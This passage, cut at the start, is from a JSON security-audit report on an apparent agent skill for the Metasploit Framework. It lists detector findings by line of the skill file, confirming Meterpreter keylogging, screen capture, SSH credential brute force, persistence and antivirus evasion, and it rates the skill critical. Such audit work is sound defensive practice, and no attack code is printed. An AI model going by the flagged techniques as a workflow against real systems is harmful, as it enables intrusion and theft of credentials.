findings.","verdict":"false_positive","confidence":0.98},{"id":"network:SKILL.md:376:hardcoded-ip-address","reason":"The address is an RFC 1918 private-network example in documentation, not a fixed external endpoint. The offensive command context is assessed by separate findings.","verdict":"false_positive","confidence":0.98},{"id":"network:SKILL.md:379:hardcoded-ip-address","reason":"The address is an RFC 1918 private-network example in documentation, not a fixed external endpoint. The offensive command context is assessed by separate findings.","verdict":"false_positive","confidence":0.98},{"id":"network:SKILL.md:396:hardcoded-ip-address","reason":"The address is an RFC 1918 private-network example in documentation, not a fixed external endpoint. The offensive command context is assessed by separate findings.","verdict":"false_positive","confidence":0.98},{"id":"filesystem:SKILL.md:229:temp-directory-access","reason":"This is an actionable Meterpreter file-transfer command that downloads target data or uploads a tool through `/tmp`. It enables post-compromise extraction or deployment.","verdict":"confirmed","severity":"high","confidence":0.99},{"id":"filesystem:SKILL.md:230:temp-directory-access","reason":"This is an actionable Meterpreter file-transfer command that downloads target data or uploads a tool through `/tmp`. It enables post-compromise extraction or deployment.","verdict":"confirmed","severity":"high","confidence":0.99},{"id":"blocker:SKILL.md:251:keylogger-keywords","reason":"The skill explicitly documents starting and operating Meterpreter keylogging. Capturing user keystrokes can steal credentials and other sensitive information.","verdict":"confirmed","severity":"critical","confidence":1},{"id":"blocker:SKILL.md:441:keylogger-keywords","reason":"The skill explicitly documents starting and operating Meterpreter keylogging. Capturing user keystrokes can steal credentials and other sensitive information.","verdict":"confirmed","severity":"critical","confidence":1},{"id":"blocker:SKILL.md:440:screen-capture-upload","reason":"The command reference explicitly directs Meterpreter to capture the compromised system screen. This can collect sensitive user and application data.","verdict":"confirmed","severity":"high","confidence":0.99},{"id":"blocker:SKILL.md:2:metasploit-framework","reason":"At this location the match is metadata, a heading, benign setup text, an empty prompt, or a technical limitation. It does not itself provide an offensive action.","verdict":"false_positive","confidence":0.94},{"id":"blocker:SKILL.md:24:metasploit-framework","reason":"At this location the match is metadata, a heading, benign setup text, an empty prompt, or a technical limitation. It does not itself provide an offensive action.","verdict":"false_positive","confidence":0.94},{"id":"blocker:SKILL.md:28:metasploit-framework","reason":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.","verdict":"confirmed","severity":"critical","confidence":0.98},{"id":"blocker:SKILL.md:34:metasploit-framework","reason":"At this location the match is metadata, a heading, benign setup text, an empty prompt, or a technical limitation. It does not itself provide an offensive action.","verdict":"false_positive","confidence":0.94},{"id":"blocker:SKILL.md:41:metasploit-framework","reason":"At this location the match is metadata, a heading, benign setup text, an empty prompt, or a technical limitation. It does not itself provide an offensive action.","verdict":"false_positive","confidence":0.94},{"id":"blocker:SKILL.md:67:metasploit-framework","reason":"At this location the match is metadata, a heading, benign setup text, an empty prompt, or a technical limitation. It does not itself provide an offensive action.","verdict":"false_positive","confidence":0.94},{"id":"blocker:SKILL.md:99:metasploit-framework","reason":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.","verdict":"confirmed","severity":"critical","confidence":0.98},{"id":"blocker:SKILL.md:168:metasploit-framework","reason":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.","verdict":"confirmed","severity":"critical","confidence":0.98},{"id":"blocker:SKILL.md:196:metasploit-framework","reason":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.","verdict":"confirmed","severity":"critical","confidence":0.98},{"id":"blocker:SKILL.md:197:metasploit-framework","reason":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.","verdict":"confirmed","severity":"critical","confidence":0.98},{"id":"blocker:SKILL.md:200:metasploit-framework","reason":"At this location the match is metadata, a heading, benign setup text, an empty prompt, or a technical limitation. It does not itself provide an offensive action.","verdict":"false_positive","confidence":0.94},{"id":"blocker:SKILL.md:205:metasploit-framework","reason":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.","verdict":"confirmed","severity":"critical","confidence":0.98},{"id":"blocker:SKILL.md:207:metasploit-framework","reason":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.","verdict":"confirmed","severity":"critical","confidence":0.98},{"id":"blocker:SKILL.md:208:metasploit-framework","reason":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.","verdict":"confirmed","severity":"critical","confidence":0.98},{"id":"blocker:SKILL.md:209:metasploit-framework","reason":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.","verdict":"confirmed","severity":"critical","confidence":0.98},{"id":"blocker:SKILL.md:212:metasploit-framework","reason":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.","verdict":"confirmed","severity":"critical","confidence":0.98},{"id":"blocker:SKILL.md:214:metasploit-framework","reason":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.","verdict":"confirmed","severity":"critical","confidence":0.98},{"id":"blocker:SKILL.md:217:metasploit-framework","reason":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.","verdict":"confirmed","severity":"critical","confidence":0.98},{"id":"blocker:SKILL.md:218:metasploit-framework","reason":"At this location the match is metadata, a heading, benign setup text, an empty prompt, or a technical limitation. It does not itself provide an offensive action.","verdict":"false_positive","confidence":0.94},{"id":"blocker:SKILL.md:221:metasploit-framework","reason":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.","verdict":"confirmed","severity":"critical","confidence":0.98},{"id":"blocker:SKILL.md:222:metasploit-framework","reason":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.","verdict":"confirmed","severity":"critical","confidence":0.98},{"id":"blocker:SKILL.md:223:metasploit-framework","reason":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.","verdict":"confirmed","severity":"critical","confidence":0.98},{"id":"blocker:SKILL.md:226:metasploit-framework","reason":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.","verdict":"confirmed","severity":"critical","confidence":0.98},{"id":"blocker:SKILL.md:227:metasploit-framework","reason":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.","verdict":"confirmed","severity":"critical","confidence":0.98},{"id":"blocker:SKILL.md:228:metasploit-framework","reason":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.","verdict":"confirmed","severity":"critical","confidence":0.98},{"id":"blocker:SKILL.md:229:metasploit-framework","reason":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.","verdict":"confirmed","severity":"critical","confidence":0.98},{"id":"blocker:SKILL.md:230:metasploit-framework","reason":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.","verdict":"confirmed","severity":"critical","confidence":0.98},{"id":"blocker:SKILL.md:233:metasploit-framework","reason":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.","verdict":"confirmed","severity":"critical","confidence":0.98},{"id":"blocker:SKILL.md:234:metasploit-framework","reason":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.","verdict":"confirmed","severity":"critical","confidence":0.98},{"id":"blocker:SKILL.md:235:metasploit-framework","reason":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.","verdict":"confirmed","severity":"critical","confidence":0.98},{"id":"blocker:SKILL.md:238:metasploit-framework","reason":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.","verdict":"confirmed","severity":"critical","confidence":0.98},{"id":"blocker:SKILL.md:239:metasploit-framework","reason":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.","verdict":"confirmed","severity":"critical","confidence":0.98},{"id":"blocker:SKILL.md:240:metasploit-framework","reason":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.","verdict":"confirmed","severity":"critical","confidence":0.98},{"id":"blocker:SKILL.md:241:metasploit-framework","reason":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.","verdict":"confirmed","severity":"critical","confidence":0.98},{"id":"blocker:SKILL.md:244:metasploit-framework","reason":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.","verdict":"confirmed","severity":"critical","confidence":0.98},{"id":"blocker:SKILL.md:245:metasploit-framework","reason":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.","verdict":"confirmed","severity":"critical","confidence":0.98},{"id":"blocker:SKILL.md:248:metasploit-framework","reason":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.","verdict":"confirmed","severity":"critical","confidence":0.98},{"id":"blocker:SKILL.md:249:metasploit-framework","reason":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.","verdict":"confirmed","severity":"critical","confidence":0.98},{"id":"blocker:SKILL.md:252:metasploit-framework","reason":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.","verdict":"confirmed","severity":"critical","confidence":0.98},{"id":"blocker:SKILL.md:253:metasploit-framework","reason":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.","verdict":"confirmed","severity":"critical","confidence":0.98},{"id":"blocker:SKILL.md:254:metasploit-framework","reason":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.","verdict":"confirmed","severity":"critical","confidence":0.98},{"id":"blocker:SKILL.md:255:metasploit-framework","reason":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.","verdict":"confirmed","severity":"critical","confidence":0.98},{"id":"blocker:SKILL.md:258:metasploit-framework","reason":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.","verdict":"confirmed","severity":"critical","confidence":0.98},{"id":"blocker:SKILL.md:261:metasploit-framework","reason":"At this location the match is metadata, a heading, benign setup text, an empty prompt, or a technical limitation. It does not itself provide an offensive action.","verdict":"false_positive","confidence":0.94},{"id":"blocker:SKILL.md:264:metasploit-framework","reason":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.","verdict":"confirmed","severity":"critical","confidence":0.98},{"id":"blocker:SKILL.md:321:metasploit-framework","reason":"At this location the match is metadata, a heading, benign setup text, an empty prompt, or a technical limitation. It does not itself provide an offensive action.","verdict":"false_positive","confidence":0.94},{"id":"blocker:SKILL.md:322:metasploit-framework","reason":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.","verdict":"confirmed","severity":"critical","confidence":0.98},{"id":"blocker:SKILL.md:355:metasploit-framework","reason":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.","verdict":"confirmed","severity":"critical","confidence":0.98},{"id":"blocker:SKILL.md:358:metasploit-framework","reason":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.","verdict":"confirmed","severity":"critical","confidence":0.98},{"id":"blocker:SKILL.md:361:metasploit-framework","reason":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.","verdict":"confirmed","severity":"critical","confidence":0.98},{"id":"blocker:SKILL.md:364:metasploit-framework","reason":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.","verdict":"confirmed","severity":"critical","confidence":0.98},{"id":"blocker:SKILL.md:367:metasploit-framework","reason":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.","verdict":"confirmed","severity":"critical","confidence":0.98},{"id":"blocker:SKILL.md:370:metasploit-framework","reason":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.","verdict":"confirmed","severity":"critical","confidence":0.98},{"id":"blocker:SKILL.md:373:metasploit-framework","reason":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.","verdict":"confirmed","severity":"critical","confidence":0.98},{"id":"blocker:SKILL.md:376:metasploit-framework","reason":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.","verdict":"confirmed","severity":"critical","confidence":0.98},{"id":"blocker:SKILL.md:379:metasploit-framework","reason":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.","verdict":"confirmed","severity":"critical","confidence":0.98},{"id":"blocker:SKILL.md:395:metasploit-framework","reason":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.","verdict":"confirmed","severity":"critical","confidence":0.98},{"id":"blocker:SKILL.md:404:metasploit-framework","reason":"This location provides actionable exploitation, payload, session-control, or post-exploitation guidance. The instruction materially enables compromise and control of a target system.","verdict":"confirmed","severity":"critical","confidence":0.98},{"id":"blocker:SKILL.md:430:metasploit-framework","reason":"At this location the match is metadata, a heading, benign setup text, an empty prompt, or a technical limitation. It does not itself provide an offensive action.","verdict":"false_positive","confidence":0.94},{"id":"blocker:SKILL.md:475:metasploit-framework","reason":"At this location the match is metadata, a heading, benign setup text, an empty prompt, or a technical limitation. It does not itself provide an offensive action.","verdict":"false_positive","confidence":0.94},{"id":"blocker:SKILL.md:222:system-reconnaissance","reason":"The command queries user or process identity on a compromised host. This is genuine post-exploitation system reconnaissance.","verdict":"confirmed","severity":"low","confidence":0.99},{"id":"blocker:SKILL.md:223:system-reconnaissance","reason":"The command queries user or process identity on a compromised host. This is genuine post-exploitation system reconnaissance.","verdict":"confirmed","severity":"low","confidence":0.99},{"id":"blocker:SKILL.md:259:system-reconnaissance","reason":"The command queries user or process identity on a compromised host. This is genuine post-exploitation system reconnaissance.","verdict":"confirmed","severity":"low","confidence":0.99},{"id":"blocker:SKILL.md:375:system-reconnaissance","reason":"The matched text is an Android payload heading or defense-evasion advice, not system reconnaissance. Any separate evasion risk is assessed semantically.","verdict":"false_positive","confidence":0.98},{"id":"blocker:SKILL.md:483:system-reconnaissance","reason":"The matched text is an Android payload heading or defense-evasion advice, not system reconnaissance. Any separate evasion risk is assessed semantically.","verdict":"false_positive","confidence":0.98},{"id":"blocker:SKILL.md:49:network-reconnaissance","reason":"The detector matched the `Required Access` heading, which contains no network reconnaissance command or technique.","verdict":"false_positive","confidence":0.99},{"id":"blocker:SKILL.md:239:network-reconnaissance","reason":"The Meterpreter `netstat` command enumerates network connections on a compromised host. This is genuine post-exploitation network reconnaissance.","verdict":"confirmed","severity":"low","confidence":0.99},{"id":"blocker:SKILL.md:428:network-scanning-tools","reason":"The reference explicitly recommends `db_nmap`, which performs active network scanning and stores results in the Metasploit database.","verdict":"confirmed","severity":"high","confidence":0.99}],"semantic_findings":[{"title":"Credential Brute Force Workflow","severity":"high","locations":[{"file":"SKILL.md","line_end":305,"line_start":300}],"confidence":0.99,"description":"The skill configures SSH login attempts with username and password wordlists. This enables automated credential attacks beyond defensive vulnerability review.","confidence_reasoning":"The named SSH login module and both credential wordlists clearly establish brute-force intent. The workflow ends with an instruction to run the attack."},{"title":"Post-Compromise Persistence Guidance","severity":"critical","locations":[{"file":"SKILL.md","line_end":343,"line_start":341}],"confidence":0.99,"description":"The skill recommends Windows executable persistence and Linux SSH-key persistence modules. These actions maintain unauthorized access after initial compromise.","confidence_reasoning":"The section is explicitly labeled persistence and names two operational persistence modules. The intent and capability are direct."},{"title":"Security Control Evasion Guidance","severity":"critical","locations":[{"file":"SKILL.md","line_end":117,"line_start":109},{"file":"SKILL.md","line_end":379,"line_start":378},{"file":"SKILL.md","line_end":493,"line_start":480}],"confidence":1,"description":"The skill recommends evasion modules, encoded payloads, and avoiding monitoring detection. This guidance helps payloads bypass defensive controls.","confidence_reasoning":"The source explicitly says to bypass security controls, evade antivirus, and avoid detection. It also supplies encoder and evasion-module directions."}],"subject_marketplace_commit_sha":"81e05e636292629114b76cbb3922fbe57672fc02","subject_content_hash":"b11ba0fa8ab67d9a84e1cb8372bc1cab84367ed36056baa5a7a3ff4299e44ac7","subject_tree_hash":"253dd9741f9c4579e3988b4ab7ef5d1361fc3889158d7ee07438478f2ed70e30","subject_plugin_path":"skills/sickn33/metasploit-framework","audit_payload_hash":"459e5a54093338f30a500f194fef4ca3","confirmed_risk_level":"critical","scanner_version":"3.0.0","policy_version":"skillstore-security-audit-policy-v1","subject":{"marketplaceCommitSha":"81e05e636292629114b76cbb3922fbe57672fc02","contentHash":"b11ba0fa8ab67d9a84e1cb8372bc1cab84367ed36056baa5a7a3ff4299e44ac7","treeHash":"253dd9741f9c4579e3988b4ab7ef5d1361fc3889158d7ee07438478f2ed70e30","pluginPath":"skills/sickn33/metasploit-framework","auditPayloadHash":"459e5a54093338f30a500f194fef4ca3"},"scannerVersion":"3.0.0","policyVersion":"skillstore-security-audit-policy-v1"},"auditTranslation":null,"localization":{"requestedLocale":"en","contentLocale":"en","availableLocales":["en"],"fallbackToEnglish":false},"attestation":{"availability":"issued","url":"/api/skills/sickn33-metasploit-framework/audits/5/attestation","status":"active"},"trust":{"publicState":"public","auditState":"complete","auditCurrentness":null,"confirmedRiskLevel":"critical","confirmedFindingCount":60,"capabilityReviewCount":3,"needsReviewCount":0,"falsePositiveCount":0,"agentAutoInstallPolicy":"blocked","manualInstallPolicy":"allowed_with_warning","artifactSignatureState":"available","attestationState":"active","verificationState":"not_verified"},"isLatest":true}}